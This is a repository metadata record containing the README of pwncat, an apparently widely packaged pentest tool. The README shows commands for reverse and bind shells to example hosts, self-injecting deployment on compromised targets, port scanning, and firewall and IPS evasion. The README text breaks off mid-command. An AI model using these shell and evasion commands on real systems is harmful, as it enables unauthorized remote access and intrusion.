{"id":13587615,"url":"https://github.com/cytopia/pwncat","last_synced_at":"2025-04-13T20:33:15.400Z","repository":{"id":37846925,"uuid":"254173555","full_name":"cytopia/pwncat","owner":"cytopia","description":"pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)","archived":false,"fork":false,"pushed_at":"2022-09-23T17:14:02.000Z","size":6504,"stargazers_count":1782,"open_issues_count":15,"forks_count":211,"subscribers_count":39,"default_branch":"master","last_synced_at":"2024-10-29T15:35:56.721Z","etag":null,"topics":["bind-shell","cytopia-sec","local-port-forward","local-port-forwarding","nc","ncat","netcat","penetration-testing","pentest","pentest-tool","pentesting","pentesting-tool","pivoting","port-forwarding","portforward","pwncat","remote-port-forward","remote-port-forwarding","remote-shell","reverse-shell"],"latest_commit_sha":null,"homepage":"https://pwncat.org","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cytopia.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"github":["cytopia"]}},"created_at":"2020-04-08T18:51:05.000Z","updated_at":"2024-10-28T18:14:15.000Z","dependencies_parsed_at":"2022-07-16T15:30:42.403Z","dependency_job_id":null,"html_url":"https://github.com/cytopia/pwncat","commit_stats":null,"previous_names":["cytopia/netcat"],"tags_count":26,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cytopia%2Fpwncat","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cytopia%2Fpwncat/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cytopia%2Fpwncat/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cytopia%2Fpwncat/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cytopia","download_url":"https://codeload.github.com/cytopia/pwncat/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247217478,"owners_count":20903063,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bind-shell","cytopia-sec","local-port-forward","local-port-forwarding","nc","ncat","netcat","penetration-testing","pentest","pentest-tool","pentesting","pentesting-tool","pivoting","port-forwarding","portforward","pwncat","remote-port-forward","remote-port-forwarding","remote-shell","reverse-shell"],"created_at":"2024-08-01T15:06:17.314Z","updated_at":"2025-04-06T18:10:41.314Z","avatar_url":"https://github.com/cytopia.png","language":"Shell","funding_links":["https://github.com/sponsors/cytopia"],"categories":["Shell","Weapons","pentesting","Pentesting"],"sub_categories":["Tools","ARM"],"readme":"**[Docs](#closed_book-documentation)** |\n**[Install](#tada-install)** |\n**[TL;DR](#coffee-tldr)** |\n**[Features](#star-features)** |\n**[Behaviour](#cop-behaviour)** |\n**[Usage](#computer-usage)** |\n**[Examples](#bulb-examples)** |\n**[FAQ](#information_source-faq)** |\n**[Contributing](#octocat-contributing)** |\n**[Disclaimer](#exclamation-disclaimer)** |\n**[License](#page_facing_up-license)**\n\n---\n\n\u003ccenter\u003e\u003cimg alt=\"pwncat banner\" title=\"pwncat\" src=\"art/banner-1.png\" style=\"\"/\u003e\u003c/center\u003e\n\n# pwncat\n\n[![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)\n[![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest)\n[![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/)\n[![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/)\n[![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/)\n[![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/)\n[![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/)\n[![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/)\n\n[![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting)\n[![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building)\n\n\n\u003e \u0026nbsp;\n\u003e #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). - [docs.pwncat.org](https://docs.pwncat.org)\n\u003e \u0026nbsp;\n\n\n\u003ctable border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:collapse; border:none;\"\u003e\n \u003cthead\u003e\n  \u003ctr valign=\"top\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\n   \u003cth border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003eCode Style\u003c/td\u003e\n   \u003cth border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\u003c/td\u003e\n   \u003cth border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003eIntegration Tests \u003csup\u003e\u003csmall\u003e[2]\u003c/small\u003e\u003c/sup\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n \u003c/thead\u003e\n \u003ctbody\u003e\n  \u003ctr valign=\"top\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\n   \u003ctd border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\n    \u003ctable\u003e\n     \u003cthead\u003e\n      \u003ctr\u003e\n       \u003cth\u003eStyler\u003c/th\u003e\n       \u003cth\u003eStatus\u003c/th\u003e\n      \u003c/tr\u003e\n     \u003c/thead\u003e\n     \u003ctbody\u003e\n      \u003ctr\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/psf/black\"\u003eBlack\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=black\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/black/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/python/mypy\"\u003emypy\u003c/a\u003e \u003csup\u003e\u003csmall\u003e[1]\u003c/small\u003e\u003c/sup\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mypy\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mypy/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/PyCQA/pycodestyle\"\u003epycodestyle\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=pycode\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/pycode/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/PyCQA/pydocstyle\"\u003epydocstyle\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=pydoc\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/pydoc/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/PyCQA/pylint\"\u003epylint\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=pylint\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/pylint/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n     \u003c/tbody\u003e\n    \u003c/table\u003e\n   \u003c/td\u003e\n   \u003ctd border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\u003c/td\u003e\n   \u003ctd border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border:none;\"\u003e\n    \u003ctable\u003e\n     \u003cthead\u003e\n      \u003ctr\u003e\n       \u003cth\u003e\u003csub\u003ePython\u003c/sub\u003e\u003csup\u003eOS\u003c/sup\u003e\u003c/th\u003e\n       \u003cth\u003eLinux\u003c/th\u003e\n       \u003cth\u003eMacOS\u003c/th\u003e\n       \u003cth\u003eWindows\u003c/th\u003e\n      \u003c/tr\u003e\n     \u003c/thead\u003e\n     \u003ctbody\u003e\n      \u003ctr\u003e\n       \u003cth\u003e2.7\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-2.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-2.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-2.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-2.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-2.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-2.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003e3.5\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-3.5\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-3.5/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-3.5\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-3.5/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-3.5\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-3.5/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003e3.6\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-3.6\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-3.6/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-3.6\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-3.6/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-3.6\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-3.6/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003e3.7\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-3.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-3.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-3.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-3.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-3.7\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-3.7/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003e3.8\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-3.8\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-3.8/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-3.8\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-3.8/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-3.8\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-3.8/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003epypy2\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-py2\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-py2/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-py2\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-py2/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-py2\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-py2/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n       \u003cth\u003epypy3\u003c/th\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=ubu-py3\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/ubu-py3/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=mac-py3\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/mac-py3/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n       \u003ctd\u003e\u003ca href=\"https://github.com/cytopia/pwncat/actions?workflow=win-py3\"\u003e\u003cimg src=\"https://github.com/cytopia/pwncat/workflows/win-py3/badge.svg\" /\u003e\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n     \u003c/tbody\u003e\n    \u003c/table\u003e\n   \u003c/td\u003e\n  \u003c/tr\u003e\n \u003c/tbody\u003e\n\u003c/table\u003e\n\n\u003e \u003csup\u003e[1] \u003ca href=\"https://cytopia.github.io/pwncat/pwncat.type.html\"\u003emypy type coverage\u003c/a\u003e \u003cstrong\u003e(fully typed: 94.00%)\u003c/strong\u003e\u003c/sup\u003e\u003cbr/\u003e\n\u003e \u003csup\u003e[2] \u003cstrong\u003eFailing builds do not indicate broken functionality.\u003c/strong\u003e Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): \u003ca href=\"https://github.com/actions/virtual-environments/issues/736\"\u003e#735\u003c/a\u003e, \u003ca href=\"https://github.com/actions/virtual-environments/issues/841\"\u003e#841\u003c/a\u003e\u003c/sup\u003e\u003cbr/\u003e\n\u003e \u003csup\u003e\u003c/sup\u003e\n\n\n#### Motivation\nEver accidentally hit \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e on your reverse shell and it was gone for good?\nEver waited forever for your client to connect back to you, because the Firewall didn't let it out?\nEver had a connection loss because an IPS closed suspicious ports?\nEver were in need of a quick port forwarding?\u003cbr/\u003e\n\u003e **This one got you covered.**\n\nApart from that the current features of `nc`, `ncat` or `socat` just didn't feed my needs and I also wanted to have a single\ntool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with.\n(Wait for it, binary releases for Linux, MacOS and Windows will come shortly).\n\n\n## :closed_book: Documentation\n\n| Pwncat docs     | Link |\n|:----------------|:-----|\n| Official documentation | [https://docs.pwncat.org](https://docs.pwncat.org) |\n| Official website | [https://pwncat.org](https://pwncat.org) |\n| API documentation | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) |\n| Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) |\n\n\n## :tada: Install\n\nCurrent version is: **0.1.2**\n\n#### Generic\n\n| [Pip](https://pypi.org/project/pwncat/) |\n|:-:|\n| [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) |\n| `pip install pwncat` |\n\n\n#### OS specific\n\n| **[MacOS][mac_lnk]**         | **[Arch Linux][arch_lnk]**   | **[BlackArch][barch_lnk]**         | **[CentOS][centos_lnk]**\u003csup\u003e[1]\u003c/sup\u003e       |\n|:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:|\n| [![mac_img]][mac_lnk]        | [![arch_img]][arch_lnk]      | [![barch_img]][barch_lnk]          | [![centos_img]][centos_lnk]                  |\n| `brew install pwncat`        | `yay -S pwncat`              | `pacman -S pwncat`                 | `yum install pwncat`                         |\n| **[Fedora][fedora_lnk]**     | **[Kali Linux][kali_lnk]**   | **[NixOS][nix_lnk]\u003csup\u003e[2]\u003c/sup\u003e** | **[Oracle Linux][oracle_lnk]\u003csup\u003e[1]\u003c/sup\u003e** |\n| [![fedora_img]][fedora_lnk]  | [![kali_img]][kali_lnk]      | [![nix_img]][nix_lnk]              | [![oracle_img]][oracle_lnk]                  |\n|  `dnf install pwncat`        | `apt install pwncat`         | `nixos.pwncat`                     | `yum install pwncat`                         |\n| **[Pentoo][pentoo_lnk]**     |  **[Parrot OS][parrot_lnk]** |\n| [![pentoo_img]][pentoo_lnk]  | [![parrot_img]][parrot_lnk]  |\n|  `net-analyzer/pwncat`       | `apt install pwncat`         |\n\n\u003e \u003csup\u003e[1]: Epel repository\u003c/sup\u003e\u003cbr/\u003e\n\u003e \u003csup\u003e[2]: Unstable\u003c/sup\u003e\n\n[mac_lnk]: https://formulae.brew.sh/formula/pwncat#default\n[mac_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png\n\n[arch_lnk]: https://aur.archlinux.org/packages/pwncat/\n[arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png\n\n[barch_lnk]: https://www.blackarch.org/tools.html\n[barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png\n\n[centos_lnk]: https://pkgs.org/download/pwncat\n[centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png\n\n[fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat\n[fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png\n\n[kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat\n[kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png\n\n[nix_lnk]: https://search.nixos.org/packages?channel=unstable\u0026query=pwncat\n[nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png\n\n[oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html\n[oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png\n\n[parrot_lnk]: https://repology.org/project/pwncat/versions\n[parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png\n\n[pentoo_lnk]: https://repology.org/project/pwncat/versions\n[pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png\n\n\n\n## :coffee: TL;DR\n\nThis is just a quick get-you-started overview. For more advanced techniques see **[:computer: Usage](#computer-usage)** or **[:bulb: Examples](#bulb-examples)**.\n\n### See in action\n\n\u003ctable\u003e\n \u003ctr\u003e\n  \u003ctd widht=\"50%\" style=\"text-align:center;\"\u003e\n   \u003ca href=\"https://www.youtube.com/watch?v=lN10hgl_Ts8\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\u0026t=0s\"\u003eunbreakable reverse shells - how to spawn\u003c/a\u003e\u003cbr/\u003e\u003cbr/\u003e\n   \u003ca href=\"https://www.youtube.com/watch?v=lN10hgl_Ts8\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\u0026t=0s\"\u003e\u003cimg src=\"docs/img/video01.png\" /\u003e\u003c/a\u003e\n  \u003c/td\u003e\n  \u003ctd widht=\"50%\" style=\"text-align:center;\"\u003e\n   \u003ca href=\"https://www.youtube.com/watch?v=VQyFoUG18WY\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\"\u003eunbreakable reverse shells - multiple shells\u003c/a\u003e\u003cbr/\u003e\u003cbr/\u003e\n   \u003ca href=\"https://www.youtube.com/watch?v=VQyFoUG18WY\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\"\u003e\u003cimg src=\"docs/img/video02.png\" /\u003e\u003c/a\u003e\n  \u003c/td\u003e\n \u003c/tr\u003e\n\u003c/table\u003e\n\n\n### Deploy to target\n```bash\n# Copy base64 data to clipboard from where you have internet access\ncurl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64\n\n# Paste it on the target machine\necho \"\u003cBASE64 STRING\u003e\" | base64 -d \u003e pwncat\nchmod +x pwncat\n```\n\n### Inject to target\n```bash\n# [1] If you found a vulnerability on the target to start a very simple reverse shell,\n# such as via bash, php, perl, python, nc or similar, you can instruct your local\n# pwncat listener to use this connection to deploy itself on the target automatically\n# and start an additional unbreakable reverse shell back to you.\npwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445\n```\n\u003e \u003csup\u003e[1] [Read in more detail about self-injection](#self-injecting-reverse-shell)\n\n### Summon shells\n```bash\n# Bind shell (accepts new clients after disconnect)\npwncat -l -e '/bin/bash' 8080 -k\n```\n```bash\n# Reverse shell (Ctrl+c proof: reconnects back to you)\npwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1\n```\n```bash\n# Reverse UDP shell (Ctrl+c proof: reconnects back to you)\npwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1\n```\n\n### Port scan\n```bash\n# [TCP] IPv4 + IPv6\npwncat -z 10.0.0.1 80,443,8080\npwncat -z 10.0.0.1 1-65535\npwncat -z 10.0.0.1 1+1023\n\n# [UDP] IPv4 + IPv6\npwncat -z 10.0.0.1 80,443,8080 -u\npwncat -z 10.0.0.1 1-65535 -u\npwncat -z 10.0.0.1 1+1023 -u\n\n# Use only IPv6 or IPv4\npwncat -z 10.0.0.1 1-65535 -4\npwncat -z 10.0.0.1 1-65535 -6 -u\n\n# Add version detection\npwncat -z 10.0.0.1 1-65535 --banner\n```\n\n### Local port forward `-L` (listening proxy)\n```bash\n# Make remote MySQL server (remote port 3306) available on current machine\n# on every interface on port 5000\npwncat -L 0.0.0.0:5000 everythingcli.org 3306\n```\n```bash\n# Same, but convert traffic on your end to UDP\npwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u\n```\n\n### Remote port forward `-R` (double client proxy)\n```bash\n# Connect to Remote MySQL server (remote port 3306) and then connect to another\n# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic\npwncat -R 10.0.0.1:4444 everythingcli.org 3306\n```\n```bash\n# Same, but convert traffic on your end to UDP\npwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u\n```\n\n\u003e \u003csub\u003e[SSH Tunnelling for fun and profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)\u003c/sub\u003e\u003cbr/\u003e\n\u003e \u003csub\u003e[`pwncat` example: Port forwarding magic](#port-forwarding-magic)\u003csub\u003e\n\n\n## :star: Features\n\n### At a glance\n\n`pwncat` has many features, below is only a list of outstanding characteristics.\n\n| Feature        | Description |\n|----------------|-------------|\n| [PSE](pse)        | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive |\n| port scanning  | TCP und UDP port scanning with basic version detection support |\n| Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically |\n| Bind shell        | Create bind shells |\n| Reverse shell     | Create reverse shells |\n| Port Forward      | Local and remote port forward (Proxy server/client) |\n| \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e | Reverse shell can reconnect if you accidentally hit \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e |\n| Detect Egress     | Scan and report open egress ports on the target (port hopping) |\n| Evade FW          | Evade egress firewalls by round-robin outgoing ports (port hopping) |\n| Evade IPS         | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |\n| UDP rev shell     | Try this with the traditional `netcat` |\n| Stateful UDP      | Stateful connect phase for UDP client mode |\n| TCP / UDP         | Full TCP and UDP support |\n| IPv4 / IPv6       | Dual or single stack IPv4 and IPv6 support |\n| Python 2+3        | Works with Python 2, Python 3, pypy2 and pypy3 |\n| Cross OS          | Work on Linux, MacOS and Windows as long as Python is available |\n| Compatability     | Use the `netcat`, `ncat` or `socat` as a client or server together with `pwncat` |\n| Portable          | Single file which only uses core packages - no external dependencies required. |\n\n\n### Feature comparison matrix\n\n|                     | pwncat   | netcat | ncat  | socat |\n|---------------------|----------|--------|-------|-------|\n| Scripting engine    | ✔ Python | :x:    | ✔ Lua | :x:   |\n|                     |          |        |       |       |\n| IP ToS              | ✔        | ✔      | :x:   | ✔     |\n| IPv4                | ✔        | ✔      | ✔     | ✔     |\n| IPv6                | ✔        | ✔      | ✔     | ✔     |\n| Unix domain sockets | :x:      | ✔      | ✔     | ✔     |\n| Linux vsock         | :x:      | :x:    | ✔     | :x:   |\n| Socket source bind  | ✔        | ✔      | ✔     | ✔     |\n|                     |          |        |       |       |\n| TCP                 | ✔        | ✔      | ✔     | ✔     |\n| UDP                 | ✔        | ✔      | ✔     | ✔     |\n| SCTP                | :x:      | :x:    | ✔     | ✔     |\n| SSL                 | :x:      | :x:    | ✔     | ✔     |\n| HTTP                | ✔        | :x:    | :x:   | :x:   |\n| HTTPS               | *        | :x:    | :x:   | :x:   |\n|                     |          |        |       |       |\n| Telnet negotiation  | :x:      | ✔      | ✔     | :x:   |\n| Proxy support       | :x:      | ✔      | ✔     | ✔     |\n| Local port forward  | ✔        | :x:    | :x:   | ✔     |\n| Remote port forward | ✔        | :x:    | :x:   | :x:   |\n|                     |          |        |       |       |\n| Inbound port scan   | ✔        | ✔      | ✔     | :x:   |\n| Outbound port scan  | ✔        | :x:    | :x:   | :x:   |\n| Version detection   | ✔        | :x:    | :x:   | :x:   |\n|                     |          |        |       |       |\n| Chat                | ✔        | ✔      | ✔     | ✔     |\n| Command execution   | ✔        | ✔      | ✔     | ✔     |\n| Hex dump            | *        | ✔      | ✔     | ✔     |\n| Broker              | :x:      | :x:    | ✔     | :x:   |\n| Simultaneous conns  | :x:      | :x:    | ✔     | ✔     |\n| Allow/deny          | :x:      | :x:    | ✔     | ✔     |\n| Re-accept           | ✔        | ✔      | ✔     | ✔     |\n| Self-injecting      | ✔        | :x:    | :x:   | :x:   |\n| UDP reverse shell   | ✔        | :x:    | :x:   | :x:   |\n| Respawning client   | ✔        | :x:    | :x:   | :x:   |\n| Port hopping        | ✔        | :x:    | :x:   | :x:   |\n| Emergency shutdown  | ✔        | :x:    | :x:   | :x:   |\n\n\u003e \u003csup\u003e`*` Feature is currently under development.\n\n\n## :cop: Behaviour\n\nLike the original implementation of `netcat`, when using **TCP**, `pwncat`\n(in client and listen mode) will automatically quit, if the network connection has been terminated,\nproperly or improperly.\nIn case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed.\n\n1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open\n2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close\n\nYou can emulate the `netcat` behaviour with `--no-shutdown` command line argument.\n\nHave a look at the following commands to better understand this behaviour:\n\n```bash\n# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF\nprintf \"GET / HTTP/1.1\\n\\n\" | pwncat www.google.com 80\n\n# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF\nprintf \"GET / HTTP/1.1\\n\\n\" | pwncat www.google.com 80 --no-shutdown\n```\n\n```bash\n# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF\nprintf \"GET / \\n\\n\" | pwncat www.google.com 80\n```\n\n```bash\n# [TCP]\n# Both instances will quit after successful file transfer.\npwncat -l 4444 \u003e 